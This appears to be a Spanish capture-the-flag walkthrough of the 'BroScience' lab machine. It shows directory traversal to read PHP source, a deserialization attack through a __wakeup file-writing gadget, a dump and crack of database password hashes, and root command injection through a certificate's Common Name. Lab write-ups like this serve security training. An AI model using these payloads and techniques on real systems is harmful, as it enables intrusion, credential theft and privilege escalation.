BroScience expone un sitio web vulnerable por el cual realizamos la lectura de su codigo fuente, con ello registramos un usuario e identificamos una vulnerabilidad de ‘Deserialization’ que nos permitio la creacion y ’ejecucion’ de archivos PHP para darnos acceso a la maquina. En la base de datos del sitio descubrimos hashes que nos permitieron acceder a un segundo usuario. Finalmente tras realizar ‘Command Injection’ en el Common Name de un certificado expirado que es utilizado por un script de un cronjob logramos escalar privilegios.
Se muestra una lista de articulos, en cada uno, se muestra el autor.
Se utilizan las imagenes como valor del parametro path a la pagina img.php.
1
2
3
4
5
6
7
8
9
10
11
12
<div class="uk-card uk-card-default ">
<div class="uk-card-media-top">
<img src="includes/img.php?path=seated_rows.png"width="600"height="600"alt="">
</div>
<div class="uk-card-body">
<a href="exercise.php?id=3"class="uk-card-title">Seated Rows</a>
<p>If you want to target your lats, seated rows are a great exercise to do so. There are machines where... <a href="exercise.php?id=3">keep reading</a></p>
</div>
<div class="uk-card-footer">
<p class="uk-text-meta">Written by <a class="uk-link-text"href="user.php?id=2">bill</a> 9 months ago</p>
</div>
</div>
Creamos un wordlist con los cuatro autores en la lista de articulos.
Utilizamos [dotdotpwn][https://github.com/wireghoul/dotdotpwn] que nos permite crear multiples ‘payloads’ para realizar directory traversal. Observamos que encontro un payload funcional para el archivo /etc/passwd.
Con ello logramos obtener el codigo fuente de los archivos php dentro del directorio /includes y en el directorio ‘principal’. Observamos que existe un ‘filtro’ en el parametro path para los caracteres ../ y otras dos strings.
//comment.php
<?phpsession_start();// Check if user is not logged in
if(!isset($_SESSION['id'])){header('Location: /login.php');echo"Not logged in";die();}// Check that all parameters are filled out
if(!isset($_POST['content'])||!isset($_POST['exercise_id'])){header('Location: /index.php');echo"Missing parameters";die();}// Check that parameters are not empty
if(empty($_POST['content'])||empty($_POST['exercise_id'])){header('Location: /index.php');echo"Empty parameters";die();}// Add the comment
include_once'includes/db_connect.php';$res=pg_prepare($db_conn,"add_comment_query",'INSERT INTO comments (exercise_id, author_id, content) VALUES ($1, $2, $3)');$res=pg_execute($db_conn,"add_comment_query",array($_POST['exercise_id'],$_SESSION['id'],$_POST['content']));header("Location: /exercise.php?id={$_POST['exercise_id']}");echo"Comment posted";?>
En register observamos las validaciones del registro de un nuevo usuario, destaca la funcion de codigo de activacion (generate_activation_code()) al registrar un nuevo usuario, el cual se activa en la direccion https://broscience.htb/activate.php?code=<codigo>, el codigo de activacion es enviado aparentemente por email pero no se muestra alguna funcionalidad como esta.
//register.php
<?phpsession_start();// Check if user is logged in already
if(isset($_SESSION['id'])){header('Location: /index.php');}// Handle a submitted register form
if(isset($_POST['username'])&&isset($_POST['email'])&&isset($_POST['password'])&&isset($_POST['password-confirm'])){// Check if variables are empty
if(!empty($_POST['username'])&&!empty($_POST['email'])&&!empty($_POST['password'])&&!empty($_POST['password-confirm'])){// Check if passwords match
if(strcmp($_POST['password'],$_POST['password-confirm'])==0){// Check if email is too long
if(strlen($_POST['email'])<=100){// Check if email is valid
if(filter_var($_POST['email'],FILTER_VALIDATE_EMAIL)){// Check if username is valid
if(strlen($_POST['username'])<=100){// Check if user exists already
include_once'includes/db_connect.php';$res=pg_prepare($db_conn,"check_username_query",'SELECT id FROM users WHERE username = $1');$res=pg_execute($db_conn,"check_username_query",array($_POST['username']));if(pg_num_rows($res)==0){// Check if email is registered already
$res=pg_prepare($db_conn,"check_email_query",'SELECT id FROM users WHERE email = $1');$res=pg_execute($db_conn,"check_email_query",array($_POST['email']));if(pg_num_rows($res)==0){// Create the account
include_once'includes/utils.php';$activation_code=generate_activation_code();$res=pg_prepare($db_conn,"check_code_unique_query",'SELECT id FROM users WHERE activation_code = $1');$res=pg_execute($db_conn,"check_code_unique_query",array($activation_code));if(pg_num_rows($res)==0){$res=pg_prepare($db_conn,"create_user_query",'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');$res=pg_execute($db_conn,"create_user_query",array($_POST['username'],md5($db_salt.$_POST['password']),$_POST['email'],$activation_code));// TODO: Send the activation link to email
$activation_link="https://broscience.htb/activate.php?code={$activation_code}";$alert="Account created. Please check your email for the activation link.";$alert_type="success";}else{$alert="Failed to generate a valid activation code, please try again.";}}else{$alert="An account with this email already exists.";}}else{$alert="Username is already taken.";}}else{$alert="Maximum username length is 100 characters.";}}else{$alert="Please enter a valid email address.";}}else{$alert="Maximum email length is 100 characters.";}}else{$alert="Passwords do not match.";}}else{$alert="Please fill all fields in.";}}?><html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
Como se menciono, no se muestra el codigo de activacion al registrar un nuevo usuario.
Login, permite la autenticacion de los usuarios por medio de un formulario.
//login.php
<?phpsession_start();// Check if user is logged in already
if(isset($_SESSION['id'])){header('Location: /index.php');}// Handle a submitted log in form
if(isset($_POST['username'])&&isset($_POST['password'])){// Check if variables are empty
if(!empty($_POST['username'])&&!empty($_POST['password'])){include_once'includes/db_connect.php';// Check if username:password is correct
$res=pg_prepare($db_conn,"login_query",'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');$res=pg_execute($db_conn,"login_query",array($_POST['username'],md5($db_salt.$_POST['password'])));if(pg_num_rows($res)==1){// Check if account is activated
$row=pg_fetch_row($res);if((bool)$row[2]){// User is logged in
$_SESSION['id']=$row[0];$_SESSION['username']=$row[1];$_SESSION['is_admin']=$row[3];// Redirect to home page
header('Location: /index.php');}else{$alert="Account is not activated yet";}}else{$alert="Username or password is incorrect.";}}else{$alert="Please fill in both username and password.";}}?><html>
<head>
<title>BroScience : Log In</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="login.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Log In</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Log in</button>
</div>
<div class="uk-margin">
<a href="register.php">Create an account</a>
</div>
</fieldset>
</form>
</div>
</body>
</html>
Activate, es el encargado de obtener un codigo de activacion, de ser correcto, activa al usuario con ese codigo. De no ser valido, muestra un mensaje de error, tal y como se muestra en la imagen.
<?phpfunctiongenerate_activation_code(){$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand(time());$activation_code="";for($i=0;$i<32;$i++){$activation_code=$activation_code.$chars[rand(0,strlen($chars)-1)];}return$activation_code;}// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
functionrel_time($from,$to=null){$to=(($to===null)?(time()):($to));$to=((is_int($to))?($to):(strtotime($to)));$from=((is_int($from))?($from):(strtotime($from)));$units=array("year"=>29030400,// seconds in a year (12 months)
"month"=>2419200,// seconds in a month (4 weeks)
"week"=>604800,// seconds in a week (7 days)
"day"=>86400,// seconds in a day (24 hours)
"hour"=>3600,// seconds in an hour (60 minutes)
"minute"=>60,// seconds in a minute (60 seconds)
"second"=>1// 1 second
);$diff=abs($from-$to);if($diff<1){return"Just now";}$suffix=(($from>$to)?("from now"):("ago"));$unitCount=0;$output="";foreach($unitsas$unit=>$mult)if($diff>=$mult&&$unitCount<1){$unitCount+=1;// $and = (($mult != 1) ? ("") : ("and "));
$and="";$output.=", ".$and.intval($diff/$mult)." ".$unit.((intval($diff/$mult)==1)?(""):("s"));$diff-=intval($diff/$mult)*$mult;}$output.=" ".$suffix;$output=substr($output,strlen(", "));return$output;}classUserPrefs{public$theme;publicfunction__construct($theme="light"){$this->theme=$theme;}}functionget_theme(){if(isset($_SESSION['id'])){if(!isset($_COOKIE['user-prefs'])){$up_cookie=base64_encode(serialize(newUserPrefs()));setcookie('user-prefs',$up_cookie);}else{$up_cookie=$_COOKIE['user-prefs'];}$up=unserialize(base64_decode($up_cookie));return$up->theme;}else{return"light";}}functionget_theme_class($theme=null){if(!isset($theme)){$theme=get_theme();}if(strcmp($theme,"light")){return"uk-light";}else{return"uk-dark";}}functionset_theme($val){if(isset($_SESSION['id'])){setcookie('user-prefs',base64_encode(serialize(newUserPrefs($val))));}}classAvatar{public$imgPath;publicfunction__construct($imgPath){$this->imgPath=$imgPath;}publicfunctionsave($tmp){$f=fopen($this->imgPath,"w");fwrite($f,file_get_contents($tmp));fclose($f);}}classAvatarInterface{public$tmp;public$imgPath;publicfunction__wakeup(){$a=newAvatar($this->imgPath);$a->save($this->tmp);}}?>
Activation_Code
Vemos que la funcion para el codigo de activacion, utiliza caracteres y digitos, el codigo de activacion tiene una longitud de 32 caracteres.
La funcion srand() toma como valor un entero, en este caso el valor de time(), en el ciclo for utiliza rand() para obtener un caracter “random”, el ciclo termina hasta crear una string de 32 caracteres y retornarlo.
Como se observa en la ejecucion, el codigo de activacion es diferente segun el valor de time(), sabiendo la hora exacta de la ejecucion de la funcion es posible generar el codigo de activacion.
Deserialization & Serialization
En las funciones set_theme() y get_theme() encontramos que utiliza las funciones de serialize() y unserialize().
En la primera establece una nueva cookie (en el caso de que el usuario este logeado) en base64 serializando un objeto de la clase UserPrefs().
En el segundo caso es similar, si observamos en la condicional verifica que no exista una cookie, en caso contrario, toma esta y la deserializa obteniendo el valor del tema.
En este ultimo caso es posible manipular la cookie y pasar un objeto serializado modificado.
Por ultimo tenemos las clases Avatar y AvatarInterface, las cuales permiten guardar un archivo en una direccion dada, con el uso de file_get_contents() es posible pasar una direccion URL. Tambien vemos la “magic function” __wakeup la cual se ejecuta cada vez que un objeto es deserializado, en este caso ejecuta la funcion save() para guardar un archivo.
Con lo anterior, es posible manipular una cookie que es deserializada y, con los objetos Avatar y AvatarInterface crear un archivo, al juntar estos dos nos permitiria realizar “deserialization attack”.
User - www-data
Como sabemos durante la ceracion de un usuario es necesario activar la cuenta, pero el codigo de activacion nunca se nos muestra o envia. Para generar nuestro codigo es necesario sincronizar la hora de nuestra maquina con la del servidor.
Clock synchro
Creamos un script en python el cual obtiene la fecha de la maquina a partir de una solicitud GET al servidor, cambiamos la fecha de nuestra maquina con la fecha de la respuesta de la solicitud.
Utilizamos el codigo de la clase Avatar y AvatarInterface para serializar y codificar en base64. En este caso estariamos creando el archivo abc.php con el contenido de un archivo en un servidor http.
www-data@broscience:/dev/shm$ psql -h localhost --username=dbuser -d broscience -W # RangeOfMotion%777<sername=dbuser -d broscience -W # RangeOfMotion%777Password:
psql (13.9 (Debian 13.9-0+deb11u1))SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)Type "help"for help.
broscience=> \dt
WARNING: terminal is not fully functional
- (press RETURN) public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
(END)q
broscience=> \d users
WARNING: terminal is not fully functional
- (press RETURN) id | integer || not null | generated a
lways as identity
username | character varying(100)|| not null | password | character varying(100)|| not null | email | character varying(100)|| not null | activation_code | character varying(32)|| not null | is_activated | boolean |||false is_admin | boolean |||false date_created | timestamp with time zone ||| CURRENT_TIM
ESTAMP
q
broscience=>
broscience=> select * from users;WARNING: terminal is not fully functional
- (press RETURN)1| administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07
02:02:22.226763-05
2| bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07
03:34:44.127644-04
3| michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01
04:12:34.732872-04
4| john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21
11:45:53.118482-04
5| dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13
10:34:36.226763-04
(END)(END)q
broscience=>
Hash Cracking - John
Utilizamos el formato de John para crackear los hashes. En este caso dynamic_4 (Ref. 12), si observamos el hash md5 generado en el registro de usuarios (register.php).
Al ejecutar john sobre los hashes observamos tres en texto plano.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌─[kirby@parrot]─[~/htb/broscience]└──╼ $john --format=dynamic_4 hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (dynamic_4 [md5($s.$p)(OSC) 256/256 AVX2 8x3])Remaining 4 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4Press 'q' or Ctrl-C to abort, almost any other key for status
iluvhorsesandgym (bill)Aaronthehottest (dmytro)2applesplus2apples (michael)2g 0:00:00:01 DONE (2023-02-18 00:45) 1.626g/s 11659Kp/s 11659Kc/s 42910KC/s !!alex!!mil!!..*7¡Vamos!
Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably
Session completed
Shell
Utilizando las contraseñas ingresamos por SSH con el usuario bill, realizando la lectura de nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌─[kirby@parrot]─[~/htb/broscience]└──╼ $ssh bill@broscience.htb # iluvhorsesandgymbill@broscience.htb's password:
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 17 17:43:24 2023 from 10.10.14.89
bill@broscience:~$ ls
Certs Desktop Documents Downloads Music Pictures Public Templates Videos user.txt
bill@broscience:~$ cat user.txt
bb7107c1c936442b4921ca3ce0fbf93f
bill@broscience:~$
Privesc
Tras ejecutar pspy observamos la ejecucion del script renew_cert.sh sobre un certificado con nombre broscience.crt, como root.
Si observamos, cuando se crea un nuevo certificado toma literal el valor de commonName del certificado, en este caso podriamos inyectar comandos para que se ejecuten.
┌─[kirby@parrot]─[~/htb/broscience/www]└──╼ $faketime'2008-12-24 08:15:42' openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:2048 -keyout privateKey.key -out broscience.crt
Generating a RSA private key
...........+++++
...........................................................................................+++++
writing new private key to 'privateKey.key'-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code)[AU]:da
State or Province Name (full name)[Some-State]:da
Locality Name (eg, city)[]:da
Organization Name (eg, company)[Internet Widgits Pty Ltd]:fd
Organizational Unit Name (eg, section)[]:df
Common Name (e.g. server FQDN or YOUR name)[]:$(cat /root/root.txt >/tmp/root.txt)Email Address []:dafsdf
Observamos el comando en el common name.
1
2
3
┌─[kirby@parrot]─[~/htb/broscience/www]└──╼ $openssl x509 -in broscience.crt -noout -subject
subject=C= da, ST= da, L= da, O= fd, OU= df, CN="$(cat /root/root.txt >/tmp/root.txt)", emailAddress= dafsdf
Tras esperar unos segundos observamos que se ejecuto nuestro comando.